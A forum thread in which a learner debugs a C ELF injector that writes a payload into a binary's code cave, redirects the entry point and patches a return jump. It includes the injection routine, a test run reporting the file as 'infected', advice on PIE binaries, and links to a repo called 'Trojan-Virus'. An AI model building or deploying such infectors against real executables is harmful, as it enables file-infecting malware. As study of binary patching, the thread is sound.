ELF Injector Patching Issues

I’ve been working on an ELFInjector inspired by @0x00pf and analyzing his code and using his payload from his github: https://github.com/0x00pf/0x00sec_code/blob/master/elfun/payload.asm

My Code: https://github.com/digitalXmage/Elf-Injector-learning-

Everything works as expected, I Successfully insert the payload and if i don’t change the entry point, the original code runs, as expected. If i change the entry point to the payload offset in the target file. The payload runs, However a segfault happens at the jmp instruction. It seems. So the issue seems to occur when I then have to patch the jmp instruction of the payload to jump back to the original entry point.

So I’m guessing that the elf injector is not editing the jmp instruction correctly. Here’s the function for the patching:

#define RET_PATTERN 0x11111111

struct file_info   /*[0] = starting address and [1] = size*/
{
uint64_t cave[2];
uint64_t next_seg[2];
uint64_t text_seg[2];
uint64_t ep;
uint64_t payload_size;
} file;

*Further Down Injector.c , we have the following function for patching (which makes use
of struct file_info which contains information about the target file and the payload)

/*insert the extracted payload into the code cave*/
void insert_payload(Elf64_Shdr payload,int no_segs,Elf64_Phdr *phdr,Elf64_Ehdr *ehdr,uint8_t *mem,uint8_t *payload_data)
{
    /*find .text segment*/
    for(int i=0;i<=no_segs;i++)
    {
    	if(phdr[i].p_type==PT_LOAD && phdr[i].p_flags == 5)
	    {

	    	/*increase the size of text segment to accomadate the payload*/
	    	phdr[i].p_memsz += (file.payload_size);
    		phdr[i].p_filesz += (file.payload_size);
	
		

	    	/*move the payload at the end of the segment(start of code cave)*/
	    	memmove(mem+file.cave[0],payload_data + payload.sh_offset,payload.sh_size);


	    	/*patch return address*/
	    	unsigned char *ptr;
		    long data;
		    int y,r;
		
		 /*pointer to code*/
	        ptr = (unsigned char *)mem+file.cave[0];

		 for(y=0;y<(int)file.payload_size;y++)
		 {
			/*get value under pointer pluss offset*/
			data = *((long*)(ptr+y));
			r = data ^(long)RET_PATTERN;

			/*check matching pattern*/
			if(r==0)
			{
				printf("*return address found*\n");
				printf("+ Pattern %1x found at offset %d -> %1x\n",RET_PATTERN,y,file.ep);
				*((long *)(ptr+y)) = file.ep; //set jmp instruction of payload to original entry point 
				break;
			}
		}			
			ehdr->e_entry = file.cave[0]; //set entry point to the code cave
		
	       	break;	
	}
}	
}

*Testing the code

./compile
./injector target payload
./target
This file has been infected for 0x00SEC
Segmentation fault

I’ve done some debugging with gdb on injector.c and I can’t seem to find the problem. I’m patching the jmp instruction to the correct address, being the target’s original entry point. I even looked through the assembly program, which appears the segmentation fault occurs. However it seems my injector.c isn’t patching as expected, even though it seems to? And is able to find the jmp instruction in memory.

Honestly This is my last resort. I wouldn’t of posted here, If i wasn’t desperate and tried everything i could think of. Like i say To get a better understanding and test yourself, Go to my github link for the code, and It’s annotated for easy reading etc.

I just don’t seem to understand why the patching isn’t working as expected? I’m 90% sure the segmentation fault occurs because of the jmp instruction, and thus shouldn’t occur when we change the payload’s jmp instruction to a valid address in memory.

*Note: My code is a very rough draft, Apologies for any confusion or readability issues. ANd I’m aware some variables are unused. This was just a quick draft.

1 Like

------------------[Payload]-----------------|------------------------[Patched Binary]-----------------------------------------

The jump is never made in the target (patched) binary , i guess the payload is not being patched properly , some offset issue probably .

1 Like

Thanks for replying. What software are you using to analyze the code?

1 Like

Its radare2
https://www.radare.org/r/

Hi @digitalXmage,

Are you maybe working with PIE binaries?. Check this out.

and this

The method doesn’t work with PIE, it needs to be updated to use a RIP relative jump instead of the absolute jump used in the original post, because an absolute jump doesn’t work on a PIE binary as it may be anywhere in memory

1 Like

Thank you, It’s been a real help and insight. I managed to solve it, But i Don’t know how to edit the original post.

What i Did was, I followed the the algorithm for patching, However instead of patching the payload in binary form, I patched the actual source code of the payload and copied the source code into the code cave , the text segment. And it seemed to of worked.

That sounds weird. Can you show us the code?

Also, I noticed that I updated my repos for this issue. You can check a possible solution here:

There is an alternative solution from @jbx81 in this post

Awesome will take a look. So just to clarify as I think I didn’t explain it well.

I didn’t use the typical payload executable per say, I used nasm and changed the format to a .bin (flat form binary). I then did the usual of mapping the Host file. Setting up the code cave, I then opened up the .bin payload onto the heap, I then changed/patched the return address to the host’s original entry point, and Then I memmoved the opened payload on the heap into the code cave(after patching) Which seemed to of worked for some reason. Whereas if i patched after inserting the payload into the code cave,It didn’t patch it.

However It only works with ELF of type exec. I’m assuming It’s because the address space doesn’t change? But it’s still a hunch , I’m still learning.

Here is the github to my new solved version. I need to find a way of infecting Dyn shared files. However I’m currently still working on that. And your information in this post has helped so much!

https://github.com/digitalXmage/Trojan-Virus

Thank you for your posts btw(And everyone else) But you in particular have been a massive source of knowledge and inspiration. And have ignited my passion for Binary patching(I’m working on more binary patching projects) I even follow you on github. I’m looking forward to your next project man :slight_smile:

1 Like

I see now. You should be closer to your goals now because a binary PIE is basically a shared library. I haven’t played with libraries myself but looks like an interesting project. Do not forget to post your findings here

Thanks for reading my posts and I’m very glad to hear they helped you.

Looking forward to know more about those binary patching projects

2 Likes